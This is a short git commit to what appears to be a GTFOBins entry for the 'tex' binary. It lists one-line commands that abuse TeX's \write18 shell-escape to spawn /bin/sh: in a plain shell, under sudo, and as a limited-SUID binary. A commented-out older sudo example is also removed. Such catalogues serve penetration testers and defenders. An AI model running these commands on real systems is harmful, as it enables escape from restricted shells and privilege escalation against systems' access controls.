Fix and improve TeX binaries and GNU Octave

This commit is contained in:
Andrea Cardaci
2021-04-26 16:06:18 +02:00
parent 806c8054eb
commit 21b641911e
11 changed files with 126 additions and 55 deletions

View File

@@ -1,6 +1,12 @@
description: `tex` has a similar behaviour as [`pdftex`](/gtfobins/pdftex/)
---
functions:
shell:
- code: |
tex --shell-escape '\write18{/bin/sh}\end'
sudo:
- code: |
echo "\documentclass[12pt]{article} \begin{document} \write18{/usr/bin/id} \end{document}" > file.tex
tex -interaction=nonstopmode --shell-escape file.tex
sudo tex --shell-escape '\write18{/bin/sh}\end'
limited-suid:
- code: |
./tex --shell-escape '\write18{/bin/sh}\end'
---